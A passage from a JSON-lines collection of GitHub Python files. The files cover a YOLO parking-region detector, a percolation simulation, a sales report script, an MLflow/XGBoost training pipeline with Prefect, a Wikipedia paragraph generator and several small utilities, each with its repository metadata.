다음에\n# 다음번에 패키지 보낼때 pre_packet_ROI != packet_ROI인지 확인하고 보내는 작업을 해야한다.\n\nimport cv2\nimport numpy as np\nimport time\nimport SetROI\n\n\n#from File_IO import File_write_yolo, File_read_yolo\n\ndiryolo = '/home/chun/PycharmProjects/KIRC_Master/File_io/YtoM'\n\nclass kirc_yolo:\n def __init__(self):\n # Loading camera\n self.drc = '/home/chun/PycharmProjects/KIRC_Master/File_io/YtoM'\n\n self.cnt = 0\n self.net = cv2.dnn.readNet(\"yolov3-tiny.weights\", \"yolov3-tiny.cfg\")\n self.classes = []\n with open(\"coco.names\", \"r\") as f:\n self.classes = [line.strip() for line in f.readlines()]\n\n self.layer_names = self.net.getLayerNames()\n self.output_layers = [self.layer_names[i[0] - 1] for i in self.net.getUnconnectedOutLayers()]\n self.colors = np.random.uniform(0, 255, size=(len(self.classes), 3))\n self.cap = cv2.VideoCapture(0) # 웹캠 번호가 0일수도, 1일수도 그 이상일 수도 있다.\n self.font = cv2.FONT_HERSHEY_PLAIN\n self.starting_time = time.time()\n self.frame_id = 0\n\n self.ActiveRoi = ''\n self.Packet_ROI = ''\n self.pre_Packet_ROI = ''\n self.ls_ROI = SetROI.RoiList\n\n\n def isInRoi(self, x, y):\n #roi가 x,y 중심좌표를 포함하고 있는지 판단.\n for R in self.ls_ROI:\n if R[0][0] < x < R[1][0] and R[0][1] < y < R[1][1]:\n self.ActiveRoi += R[2]\n break\n\n def RoiPackaging(self):\n while len(self.ActiveRoi) < 8:\n self.ActiveRoi += '00'\n\n self.Packet_ROI = self.ActiveRoi\n self.ActiveRoi = ''\n\n def main_work(self):\n _, frame = self.cap.read()\n self.frame_id += 1\n height, width, channels = frame.shape\n\n # Detecting objects\n # 320*320 #416*416 #609*609 <=== 정확도 조절\n blob = cv2.dnn.blobFromImage(frame, 0.00392, (320, 320), (0, 0, 0), True, crop=False)\n self.net.setInput(blob)\n outs = self.net.forward(self.output_layers)\n # Showing informations on the screen\n class_ids = []\n confidences = []\n boxes = []\n for out in outs:\n # 객체 판별\n for detection in out:\n scores = detection[5:]\n class_id = np.argmax(scores)\n confidence = scores[class_id]\n if confidence > 0.5:\n # Object detected\n center_x = int(detection[0] * width)\n center_y = int(detection[1] * height)\n\n # 여기서 해당 center_x, center_y 가 30개의 roi 에 하나라도 걸리는지 확인한다.\n # 해당 roi에 걸리는게 있으면 ActiveRoi에 쌓임\n self.isInRoi(center_x, center_y)\n\n # print(class_id, center_x , center_y)\n w = int(detection[2] * width) # width of object\n h = int(detection[3] * height)\n # Rectangle coordinates\n x = int(center_x - w / 2) # the starting X position of detected object\n y = int(center_y - h / 2)\n boxes.append([x, y, w, h])\n confidences.append(float(confidence)) # percentage\n class_ids.append(class_id) # the name of detected object\n indexes = cv2.dnn.NMSBoxes(boxes, confidences, 0.4, 0.3) # NMS 알고리즘(한 물체를 두개의 물체로 인식하면 이거 조정하면 돼)\n\n # Packet_ROI를 생성하고 8자리 string 으로 맞춤\n self.RoiPackaging()\n\n for i in range(len(boxes)):\n if i in indexes:\n x, y, w, h = boxes[i]\n label = str(self.classes[class_ids[i]])\n confidence = confidences[i]\n color = self.colors[class_ids[i]]\n cv2.rectangle(frame, (x, y), (x + w, y + h), color, 2)\n cv2.rectangle(frame, (x, y), (x + w, y + 30), color, -1)\n cv2.putText(frame, label + \" \" + str(round(confidence, 2)), (x, y + 30), self.font, 3, (255, 255, 255),\n 3)\n\n elapsed_time = time.time() - self.starting_time\n fps = self.frame_id / elapsed_time\n cv2.putText(frame, \"FPS: \" + str(round(fps, 2)), (10, 50), self.font, 3, (0, 0, 0), 3)\n\n #ROI 그려주기\n for r in self.ls_ROI:\n cv2.rectangle(frame, r[0], r[1], (0, 255, 0), 1)\n\n '''if self.Packet_ROI != '00000000' :\n File_in_yolo(self.drc,self.Packet_ROI)'''\n #print(self.Packet_ROI + '를 작성하였습니다.')\n\n cv2.imshow(\"Image\", frame)\n\n\nif __name__ == '__main__':\n kirc = kirc_yolo()\n while True:\n kirc.main_work()\n\n #여기에다가 master 넣어서 합쳐버릴까??\n\n\n key = cv2.waitKey(1)\n if key == ord('q'):\n break\n\n\n\n\n","repo_name":"Nam-Insu/KIRC_AutoParking","sub_path":"Yolo/openCV_yoloTiny_basic.py","file_name":"openCV_yoloTiny_basic.py","file_ext":"py","file_size_in_byte":5232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"74104464866","text":"class Solution:\n def isValid(self, input):\n UpperToLower = {\"{\": \"}\", \"[\": \"]\", \"(\": \")\",\n \"}\": None, \"]\": None, \")\": None}\n i = 0\n loops = len(input) / 2 + 1\n while (i < loops):\n index = 0\n while (index < len(input)-1):\n if(UpperToLower[input[index]] == input[index+1]):\n input = input[0:index] + input[index+2:len(input)]\n index = index + 1\n i = i + 1\n if input:\n return False\n else:\n return True\n \"\"\"\n algorithm : when we find an closing bracket right next the its opening bracket then we pop both of them,\n eventually the string will be empty if it's valid \n \"\"\"","repo_name":"Arshad520786/20.-Valid-Parentheses","sub_path":"ValidParenthese.py","file_name":"ValidParenthese.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28791647539","text":"import dropbox\n\nimport censusname\nfrom easydict import EasyDict as edict\n\nimport requests\nimport urllib.parse\nimport re\n\n# --- Dropbox ---\n\ndef to_dropbox(dataframe, path, token):\n dbx = dropbox.Dropbox(token)\n\n df_string = dataframe.to_json(orient='records', lines=True)\n db_bytes = bytes(df_string, 'utf8')\n \n dbx.files_upload(\n f=db_bytes,\n path=path,\n mode=dropbox.files.WriteMode.overwrite\n )\n\ndef get_url_of_file(path, token):\n dbx = dropbox.Dropbox(token)\n url = dbx.sharing_create_shared_link(f'{path}').url\n return url\n\n# --- Name generation ---\n\ndef random_first_name():\n return censusname.generate(nameformat='{given}')\n\ndef n_random_first_names(n):\n names = []\n for _ in range(n):\n name = random_first_name()\n while name in names:\n name = random_first_name()\n names.append(name)\n return names\n\n# --- Problem solving ---\n\nTAUTOLOGY = '\\\\top'\nENTAILMENT = '\\\\vDash'\nNOT_ENTAILMENT = '\\\\not\\\\vDash'\n\nSANITY_ERROR = \"Sanity error\"\n\ndef parse_response(response):\n if SANITY_ERROR in response:\n return -2\n result = re.search(r'(?s)

.*

', response).group(0)\n\n if TAUTOLOGY in result:\n return -1\n elif NOT_ENTAILMENT in result:\n return 0\n elif ENTAILMENT in result:\n return 1\n return -2\n\n\ndef class_to_dict(x):\n name=x.__class__.__name__\n x=edict({a:getattr(x,a) for a in dir(x) if not a.startswith('__')})\n x['name']=name\n return x\n\n\ndef solve(problem):\n headers = {\n 'authority': 'w4eg.de',\n 'accept': '*/*',\n 'accept-language': 'en,fr-FR;q=0.9,fr;q=0.8,en-US;q=0.7,de;q=0.6',\n 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'origin': 'https://w4eg.de',\n 'referer': 'https://w4eg.de/malvin/illc/smcdelweb/index.html',\n 'sec-ch-ua': '\"Not_A Brand\";v=\"99\", \"Google Chrome\";v=\"109\", \"Chromium\";v=\"109\"',\n 'sec-ch-ua-mobile': '?0',\n 'sec-ch-ua-platform': '\"Windows\"',\n 'sec-fetch-dest': 'empty',\n 'sec-fetch-mode': 'cors',\n 'sec-fetch-site': 'same-origin',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',\n 'x-requested-with': 'XMLHttpRequest',\n }\n\n data = 'smcinput=' + urllib.parse.quote(problem)\n\n response = requests.post('https://w4eg.de/malvin/illc/smcdelweb/check', headers=headers, data=data)\n try:\n label = parse_response(response.text)\n except:\n print(problem)\n return -1\n return label","repo_name":"sileod/llm-theory-of-mind","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"70"} +{"seq_id":"3673495547","text":"#percolation.py\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nfrom random import *\nimport random\nimport scipy.spatial as spatial\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport pylab\n\n\np=0.7\nr=3\nt=5\ngridSize = 20\t#sert grid size\n\n\ndef getNeighbours(point_tree, points):\n\tglobal neighbours\n\tneighbours=[]\n\tfor i in range(0,len(settings)-1):\n\t\tneighbours.append(point_tree.query_ball_point(points[i], r))\n\n\n##grid initiation\ndef gridSetup():\n\tcoords=[] \t#coords is list of all grid square co-ordinates\n\tfor i in range(1,gridSize+1):\n\t\tfor j in range(1,gridSize+1):\n\t\t\tcoords.append((i,j)) \t#loops through every cell and adds to coords\n\tglobal points\n\tpoints=np.array(coords)\n\tglobal settings\n\tsettings=[0]*len(coords) #settings is activation of each cell relevant to coords\n\tplotGrid(settings)\n\trandomIndexes=random.sample(range(1, len(coords)), int(round((gridSize**2)*p)))\n\tfor i in range(0,len(randomIndexes)-1): \t#set random cells as potential (1) according to p value\n\t\telement=randomIndexes[i]-1\n\t\tsettings[element]=1\n\trandomPoint=[0,0]\n\twhile randomPoint[0]gridSize-r or randomPoint[1]gridSize-r:\n\t\trandomStart=randint(1, len(settings))-1\t#find random initialise cell to activate\n\t\trandomPoint=coords[randomStart]\n\tglobal point_tree \n\tpoint_tree = spatial.cKDTree(points)\t#create array of coords for radius finding\n\tplotGrid(settings)\n\tgetNeighbours(point_tree, points)\n\tfirstNeighbours = neighbours[randomStart]\n\tfor i in range(0,len(firstNeighbours)):\n\t\tsettings[firstNeighbours[i]]=3 \t#set start point and neighbours as active (3)\n\tplotGrid(settings)\n\n\ndef plotGrid(settings):\n\tfig1= plt.figure()\n\tax1 = fig1.add_subplot(111, aspect='equal')\n\tfor i in range(0,len(settings)):\n\t\tif settings[i]==0:\n\t\t\tax1.add_patch(\n\t\t patches.Rectangle(\n\t\t (points[i,0]-1, points[i,1]-1), 1, 1, facecolor = \"grey\", edgecolor=\"none\") ) # (x,y), width, height, colour\n\t\telif settings[i]==1:\n\t\t\tax1.add_patch(\n\t\t patches.Rectangle(\n\t\t (points[i,0]-1, points[i,1]-1), 1, 1, facecolor = \"black\", edgecolor=\"none\") ) \n\t\telif settings[i]==3:\n\t\t\tax1.add_patch(\n\t\t patches.Rectangle(\n\t\t (points[i,0]-1, points[i,1]-1), 1, 1, facecolor = \"white\", edgecolor=\"blue\") ) \n\tpylab.ylim([0,gridSize])\n\tpylab.xlim([0,gridSize])\n\tplt.show()\n\n\ndef percolate():\n\torigSettings=0\n\twhile origSettings!=settings:\n\t\torigSettings=list(settings)\n\t\tfor i in range(0,len(settings)-1):\n\t\t\tif settings[i]==1:\n\t\t\t\tnearestNeighbours = neighbours[i]\n\t\t\t\tneighbourSettings=[]\n\t\t\t\tfor j in range(0,len(nearestNeighbours)):\n\t\t\t\t\tneighbourSettings.append(settings[nearestNeighbours[j]])\n\t\t\t\tcount = neighbourSettings.count(2) + neighbourSettings.count(3)\n\t\t\t\tif count >= t:\n\t\t\t\t\tsettings[i]=2\n\t\tplotGrid(settings)\n\ndef smoothing():\n\tgreys=[]\n\tnotGreys=[]\n\tfor i in range(0,len(settings)-1):\n\t\tif settings[i]==0:\n\t\t\tgreys.append(i)\n\t\telse:\n\t\t\tnotGreys.append(i)\n\tprint(notGreys)\n\tpoints2=np.array( coords[i] for i in notGreys)\n\tprint(points2)\n\tpoint_tree2 = spatial.cKDTree(points2)\n\tgreyNeighbours=[]\n\tprint('test')\n\tfor i in range(0,len(greys)-1):\n\t\tgreyNeighbours.append(point_tree2.query_ball_point(greys[i], 1))\n\tprint(greyNeighbours)\n\n\n#run code\ngridSetup()\npercolate()\n#smoothing()\n\n\n\n","repo_name":"amurphy95/cloud-perc","sub_path":"percolation.py","file_name":"percolation.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"34025790431","text":"from utils import LossTracker\nimport json\n\ndata = LossTracker('test_a')\n#data.load()\n\nwith open(\"encoder/loss.json\", \"r\") as file:\n data.loss = json.load(file)[\"Loss\"]\n\ndata.save(\n y_scale='symlog'\n)\n\n","repo_name":"2xic/optimization-playground","sub_path":"reinforcement-learning/recurrent-world-models-facilitate-policy-evolution/replot.py","file_name":"replot.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22781584894","text":"\nfrom Naked.toolshed.shell import execute_js\nimport csv\n\nwebsite_list = []\n\nwith open('top500.domains.09.17.csv', 'r') as webfile:\n\treader = csv.reader(webfile, delimiter=',')\n\tnext(reader, None) # skip headers\n\tfor row in reader:\n\t\twebsite_list.append(\"http://\" + row[1].rstrip('/')) # They don't have http for some reason...\n\nfor x in range(0, 10):\n\n\tsuccess = execute_js('perf-timeline.js', website_list[x])\n\n\tif not success:\n\t\tprint(website_list[x])","repo_name":"furlongmt/598Project","sub_path":"TestAll.py","file_name":"TestAll.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4810415900","text":"import produto\r\nimport vendas\r\nimport random\r\nimport os\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n\r\ndef salvar_dados_txt(lista_produtos, lista_vendas, faturamento_total):\r\n with open(\"dados_vendas.txt\", \"w\") as arquivo:\r\n arquivo.write(f\"Faturamento Total: R${faturamento_total:.2f}\\n\")\r\n arquivo.write(\"Detalhes de Vendas:\\n\")\r\n for venda in lista_vendas:\r\n arquivo.write(f\"{venda.quantidade} - Produto(ID: {venda.produto.id}, Preço: R${venda.produto.preco:.2f})\\n\")\r\n\r\ndef carregar_dados_txt():\r\n lista_produtos = []\r\n lista_vendas = []\r\n faturamento_total = 0.0\r\n\r\n if os.path.exists(\"dados_vendas.txt\") and os.path.getsize(\"dados_vendas.txt\") > 0:\r\n with open(\"dados_vendas.txt\", \"r\") as arquivo:\r\n linhas = arquivo.readlines()\r\n faturamento_str = linhas[0].split()[-1]\r\n faturamento_total = float(faturamento_str.replace(\"R$\", \"\").replace(\",\", \"\"))\r\n detalhes_vendas = linhas[2:]\r\n for detalhe in detalhes_vendas:\r\n if \" - Produto(ID: \" in detalhe:\r\n partes = detalhe.strip().split(\" - \")\r\n quantidade = int(partes[0])\r\n produto_info = partes[1]\r\n preco_produto = float(produto_info.split(\"Preço: R$\")[1].split(\")\")[0].replace(\",\", \"\"))\r\n id_produto = int(produto_info.split(\"Produto(ID: \")[1].split(\",\")[0])\r\n novo_produto = produto.Produto(id_produto, preco_produto)\r\n venda = vendas.Vendas(quantidade, novo_produto)\r\n lista_vendas.append(venda)\r\n\r\n return lista_produtos, lista_vendas, faturamento_total\r\n\r\ndef calcular_faturamento(lista_vendas):\r\n return sum(venda.faturamento() for venda in lista_vendas)\r\n\r\ndef imprimir_faturamento_detalhado(lista_vendas):\r\n for venda in lista_vendas:\r\n print(f\"{venda} - Faturamento: R${venda.faturamento():.2f}\")\r\n\r\ndef calcular_percentuais_vendas(lista_vendas, faturamento_total):\r\n faturamentos_individuais = [venda.faturamento() for venda in lista_vendas]\r\n percentuais = [(faturamento / faturamento_total) * 100 for faturamento in faturamentos_individuais]\r\n return percentuais\r\n\r\ndef main():\r\n lista_produtos, lista_vendas, faturamento_total = carregar_dados_txt()\r\n\r\n if not lista_vendas:\r\n print(\"Gerando novos valores...\")\r\n lista_produtos = []\r\n for i in range(1, 101):\r\n preco = round(random.uniform(1.0, 100.0), 2)\r\n produto_novo = produto.Produto(i, preco)\r\n lista_produtos.append(produto_novo)\r\n\r\n lista_vendas = []\r\n for i in range(0, 100):\r\n quantidadeVendida = random.randint(1, 50)\r\n venda_nova = vendas.Vendas(quantidadeVendida, lista_produtos[i])\r\n lista_vendas.append(venda_nova)\r\n\r\n faturamento_total = calcular_faturamento(lista_vendas)\r\n print(\"Novos valores gerados.\")\r\n\r\n while True:\r\n print(\"\\nMenu:\")\r\n print(\"1. Cálculo do faturamento\")\r\n print(\"2. Impressão do faturamento detalhado\")\r\n print(\"3. Cálculo de percentuais de vendas\")\r\n print(\"4. Gravar os dados das vendas em um arquivo txt\")\r\n print(\"5. Imprimir gráfico de vendas para as cinco mercadorias mais vendidas\")\r\n print(\"6. Sair\")\r\n\r\n escolha = input(\"Escolha a opção: \")\r\n\r\n if escolha == \"1\":\r\n faturamento_total = calcular_faturamento(lista_vendas)\r\n print(f\"Faturamento Total: R${faturamento_total:.2f}\")\r\n elif escolha == \"2\":\r\n imprimir_faturamento_detalhado(lista_vendas)\r\n elif escolha == \"3\":\r\n percentuais = calcular_percentuais_vendas(lista_vendas, faturamento_total)\r\n for i, venda in enumerate(lista_vendas):\r\n print(f\"{venda} - Percentual: {percentuais[i]:.2f}%\")\r\n elif escolha == \"4\":\r\n salvar_dados_txt(lista_produtos, lista_vendas, faturamento_total)\r\n print(\"Dados salvos em 'dados_vendas.txt'\")\r\n elif escolha == \"5\":\r\n # Gráfico das cinco mercadorias mais vendidas\r\n top5_vendas = sorted(lista_vendas, key=lambda venda: venda.quantidade, reverse=True)[:5]\r\n mercadorias = [venda.produto.id for venda in top5_vendas]\r\n quantidades = [venda.quantidade for venda in top5_vendas]\r\n\r\n plt.bar(mercadorias, quantidades)\r\n plt.xlabel('Mercadorias')\r\n plt.ylabel('Quantidades Vendidas')\r\n plt.title('Top 5 Mercadorias Mais Vendidas')\r\n plt.xticks(mercadorias)\r\n plt.show()\r\n elif escolha == \"6\":\r\n break\r\n else:\r\n print(\"Opção inválida. Escolha uma opção válida.\")\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"Guilin-Git/Ling-e-T-c-de-Prog","sub_path":"trabalho/principal.py","file_name":"principal.py","file_ext":"py","file_size_in_byte":4822,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13587894041","text":"from qtpy.QtWidgets import QFileDialog, QApplication\nfrom qtpy import QtGui\nimport os\n\nfrom NeuNorm.normalization import Normalization\n\nfrom __code.file_handler import make_or_reset_folder\n\n\nclass Export:\n\n def __init__(self, parent=None):\n self.parent = parent\n\n def run(self):\n working_dir = os.path.abspath(os.path.dirname(self.parent.working_dir))\n export_folder = QFileDialog.getExistingDirectory(self.parent,\n caption=\"Select folder\",\n directory=working_dir)\n\n if export_folder:\n\n # make own folder where the data will be exported\n short_high_res_input_folder = os.path.basename(self.parent.high_res_input_folder)\n short_low_res_input_folder = os.path.basename(self.parent.low_res_input_folder)\n output_folder = \"{}_and_{}_overlaid\".format(short_low_res_input_folder,\n short_high_res_input_folder)\n full_output_folder = os.path.join(export_folder, output_folder)\n make_or_reset_folder(full_output_folder)\n\n resize_and_overlay_images = self.parent.resize_and_overlay_images\n\n message = \"Exporting overlaid images ... IN PROGRESS\"\n self.parent.ui.statusbar.showMessage(message)\n self.parent.ui.statusbar.setStyleSheet(\"color: blue\")\n\n self.parent.eventProgress.setMaximum(len(resize_and_overlay_images))\n self.parent.eventProgress.setValue(0)\n self.parent.eventProgress.setVisible(True)\n QtGui.QGuiApplication.processEvents()\n\n sf = self.parent.parameters_used_on_all_images['scaling_factor']\n xoffset = self.parent.parameters_used_on_all_images['xoffset']\n yoffset = self.parent.parameters_used_on_all_images['yoffset']\n metadata = {1000: 'scaling_factor: {}'.format(sf),\n 1001: 'xoffset: {}'.format(xoffset),\n 1002: 'yoffset: {}'.format(yoffset),\n }\n\n list_of_filename = self.parent.list_of_high_res_filename\n for _index, _overlay_image in enumerate(resize_and_overlay_images):\n\n _short_filemame = os.path.basename(list_of_filename[_index])\n o_norm = Normalization()\n o_norm.load(data=_overlay_image)\n o_norm.data['sample']['file_name'] = [_short_filemame]\n o_norm.data['sample']['metadata'] = [metadata]\n o_norm.export(folder=full_output_folder,\n data_type='sample')\n self.parent.eventProgress.setValue(_index + 1)\n QtGui.QGuiApplication.processEvents()\n\n self.parent.eventProgress.setVisible(False)\n\n message = \"Overlaid images exported in {}\".format(full_output_folder)\n self.parent.ui.statusbar.showMessage(message, 20000) # 20s\n self.parent.ui.statusbar.setStyleSheet(\"color: green\")\n","repo_name":"neutronimaging/python_notebooks","sub_path":"notebooks/__code/overlay_images/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"1875620436","text":"# Variation: 1 Step\n# This version does not narrow down possible topics.\n# Due to the wikipedia package's long wait times, users may get annoyed.\n# This version allows you to give your input just once and then leave.\n\nimport wikipedia\nimport paragraphGenerator\n\ndef getTopic():\n #Recieve the possible terms from Wikipedia\n searchTerm = input(\"What do you want your paragraph to be on? \")\n print(\"\\nSearching...\\n\")\n results = wikipedia.search(searchTerm, results = 1)\n \n #Return the topic back to the main program\n return results[0]\n \ndef main(): \n topic = getTopic()\n data = paragraphGenerator.getWikipediaData(topic)\n if data == False:\n return None\n \n topicSentence = paragraphGenerator.generateTopicSentence(topic)\n paragraphBody = paragraphGenerator.generateParagraphBody(data)\n conclusionSentence = paragraphGenerator.generateConclusionSentence(topic)\n \n paragraphGenerator.outputParagraph(topicSentence, paragraphBody, conclusionSentence)","repo_name":"The99thTroll/essayAutomation","sub_path":"dataFetchingFiles/automation1Step.py","file_name":"automation1Step.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10945076571","text":"\"\"\"Prefect Training pipeline.\"\"\"\nimport logging\nimport pickle\nimport pandas as pd\nimport xgboost as xgb\nimport mlflow\n\nfrom mlflow import MlflowClient, set_tracking_uri\n\nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error\n\nfrom orchestration.utils import (\n pull_file_from_s3,\n resolve_s3_location,\n get_all_files_from_s3,\n)\n\nfrom prefect import variables, flow, task\n\nfrom orchestration.constants import (\n MLFLOW_EXPERIMENT_NAME,\n MLFLOW_TRACKING_URI,\n MLFLOW_MODEL_NAME,\n StatusEnum\n)\n\n\nlogging.basicConfig(\n level=logging.INFO, format=\"%(asctime)s [%(levelname)s]: %(message)s\"\n)\n\n\n@task(log_prints=True, name=\"Prepare MLflow client\")\ndef prepare_mlflow():\n \"\"\"Setup MLFlow with experiment and tracking URL.\"\"\"\n print(f'mlflow tracking url = {MLFLOW_TRACKING_URI}')\n mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)\n experiment = mlflow.set_experiment(MLFLOW_EXPERIMENT_NAME)\n return experiment.experiment_id\n\n\n@task(log_prints=True, name=\"Get Input Files from S3 bucket.\")\ndef get_input_files_from_s3():\n \"\"\"Pull Input files from S3.\"\"\"\n is_pull_all_files_enabled = variables.get(\"PULL_ALL_FILES\", default=\"false\")\n pull_from_year = int(variables.get(\"PULL_FROM_YEAR\", default=\"2021\"))\n s3_path = variables.get(\n \"INPUT_S3_PATH\", default=\"s3://mlflow-artifacts-remote-amogh/training_data/\"\n )\n is_environment_local = bool(variables.get(\"is_environment_local\"))\n prefix = \"training_data\"\n local_filename_list = []\n print(f'Is environment local = {is_environment_local}')\n\n s3_tuple = resolve_s3_location(s3_path)\n\n if is_pull_all_files_enabled == \"true\":\n print(\"Pulling all files from S3.\")\n filename_list = get_all_files_from_s3(\n s3_tuple.bucket, prefix, is_environment_local\n )\n\n else:\n print(f\"Pulling all files from S3 from this year = {pull_from_year}.\")\n filename_list = []\n s3_filename_list = get_all_files_from_s3(\n s3_tuple.bucket, prefix, is_environment_local\n )\n\n for each_key in s3_filename_list:\n # Getting the year from s3 file\n each_filename = each_key.split(\"/\")[1]\n if each_filename:\n year_value = int(each_filename.split(\".\")[0].split(\"_\")[2])\n if year_value >= pull_from_year:\n filename_list.append(each_key)\n\n # Pull each file from S3 bucket.\n for each_file in filename_list:\n training_file_local_path = f\"tmp/{each_file}\"\n print(f\"each_file = {each_file}\")\n print(f\"bucket_name = {s3_tuple.bucket}\")\n pull_file_from_s3(\n s3_tuple.bucket, each_file, training_file_local_path, is_environment_local\n )\n local_filename_list.append(training_file_local_path)\n\n return local_filename_list\n\n\n@task(log_prints=True, name=\"Prepare Input dictionary vectorizers.\")\ndef prepare_dictionary_vectorizers(filename_list): # pylint: disable=too-many-locals\n \"\"\"Prepare dv dictionaries for model training.\"\"\"\n\n # Prepare the training dataframe.\n training_df = pd.DataFrame()\n for each_filename in filename_list:\n temp_df = pd.read_csv(each_filename)\n training_df = pd.concat([training_df, temp_df])\n\n categorical = [\"role\", \"player_origin\"]\n\n numerical = [\n \"tot_runs\",\n \"highest_score\",\n \"number_of_hundreds\",\n \"number_of_fifties\",\n \"number_of_fours\",\n \"number_of_sixes\",\n \"batting_average\",\n \"batting_strike_rate\",\n \"wickets\",\n \"number_of_four_fers\",\n \"number_of_five_fers\",\n \"max_number_of_wickets_per_match\",\n \"bowling_average\",\n \"bowling_strike_rate\",\n \"total_matches\",\n ]\n\n target = \"amount\"\n\n training_df[target] = training_df[target] / 10000000\n\n # Split the training data into train and test\n df_train, df_val = train_test_split(training_df, test_size=0.2, random_state=1)\n dict_vectorizer = DictVectorizer()\n\n train_dicts = df_train[categorical + numerical].to_dict(orient=\"records\")\n X_train = dict_vectorizer.fit_transform(train_dicts) # pylint: disable=invalid-name\n y_train = df_train[target].values\n\n val_dicts = df_val[categorical + numerical].to_dict(orient=\"records\")\n X_val = dict_vectorizer.transform(val_dicts) # pylint: disable=invalid-name\n y_val = df_val[target].values\n\n train = xgb.DMatrix(X_train, label=y_train)\n valid = xgb.DMatrix(X_val, label=y_val)\n\n return {\"train\": train, \"valid\": valid, \"y_val\": y_val, \"dict_vectorizer\": dict_vectorizer}\n\n\n@task(log_prints=True, name=\"Train the ML model\")\ndef train_ml_model(train, valid, y_val, dict_vectorizer):\n \"\"\"Train ML model with dv dictionaries.\"\"\"\n # Track the run in mlflow.\n with mlflow.start_run() as run:\n params = {\n \"learning_rate\": 0.15381188612462107,\n \"max_depth\": 5,\n \"min_child_weight\": 10.620379334384285,\n \"objective\": \"reg:linear\",\n \"reg_alpha\": 0.03951664300214618,\n \"reg_lambda\": 0.058208962170917034,\n \"seed\": 42,\n }\n\n mlflow.set_tag(\"artifact_space\", \"s3\")\n\n booster = xgb.train(\n params=params,\n dtrain=train,\n num_boost_round=30,\n evals=[(valid, \"validation\")],\n early_stopping_rounds=15,\n )\n\n y_pred = booster.predict(valid)\n\n rmse = mean_squared_error(y_val, y_pred, squared=False)\n mlflow.log_metric(\"rmse\", rmse)\n\n with open(\"preprocessor.b\", \"wb\") as f_out:\n pickle.dump(dict_vectorizer, f_out)\n\n mlflow.log_artifact(\"preprocessor.b\", artifact_path=\"preprocessor\")\n\n mlflow.xgboost.log_model(booster, artifact_path=\"models_mlflow\")\n\n print(f\"The new run id generated = {run.info.run_id}\")\n return run.info.run_id\n\n\n@task(log_prints=True, name=\"Move the latest trained model to production\")\ndef move_latest_model_to_registry(experiment_id, mlflow_run_id):\n \"\"\"Move latest trained model to MLFlow model registry.\"\"\"\n client = MlflowClient()\n set_tracking_uri(MLFLOW_TRACKING_URI)\n artifact_path = \"model\"\n\n # Move current model in production to Staging.\n registry_list = client.search_registered_models()\n\n for each_registry in registry_list:\n for each_model in each_registry.latest_versions:\n if each_model.current_stage == StatusEnum.PRODUCTION:\n client.transition_model_version_stage(\n name=MLFLOW_MODEL_NAME, version=each_model.version, stage=StatusEnum.STAGING\n )\n\n print(\"Existing model is moved to Staging.\")\n runs = client.search_runs(experiment_ids=experiment_id)\n\n print(f\"Number of runs found in experiment = {len(runs)}\")\n print(f\"Experiment ID passed = {experiment_id}\")\n\n # Move the new model to Production.\n for each_run in runs:\n print(f\"Run Id = {each_run.info.run_id}\")\n if each_run.info.run_id == mlflow_run_id:\n model_uri = f\"runs:/{mlflow_run_id}/{artifact_path}\"\n model_details = mlflow.register_model(\n model_uri=model_uri, name=MLFLOW_MODEL_NAME\n )\n client.set_model_version_tag(\n model_details.name, model_details.version, \"model_type\", \"xgboost\"\n )\n client.set_model_version_tag(\n model_details.name, model_details.version, \"run_type\", \"latest\"\n )\n client.transition_model_version_stage(\n name=model_details.name,\n version=model_details.version,\n stage=StatusEnum.PRODUCTION\n )\n\n\n@flow\ndef pipeline_flow():\n \"\"\"Flow of the pipeline\"\"\"\n experiment_id = prepare_mlflow()\n filename_list = get_input_files_from_s3()\n dictionary_vectors = prepare_dictionary_vectorizers(filename_list)\n mlflow_run_id = train_ml_model(\n dictionary_vectors[\"train\"],\n dictionary_vectors[\"valid\"],\n dictionary_vectors[\"y_val\"],\n dictionary_vectors[\"dict_vectorizer\"]\n\n )\n move_latest_model_to_registry(experiment_id, mlflow_run_id)\n\n\nif __name__ == \"__main__\":\n pipeline_flow()\n","repo_name":"amogh-kalalbandi/ipl-auction-prediction","sub_path":"orchestration/training_orchestrator.py","file_name":"training_orchestrator.py","file_ext":"py","file_size_in_byte":8281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"24977052765","text":"def flatten(sequence):\n L = list()\n for el in sequence:\n if isinstance(el, (list, tuple)):\n L.extend(flatten(el))\n else:\n L.append(el)\n return L\n\nL = [2, 5, [2,7, 3, (0, 3)], (1), [4, [3, 1]], 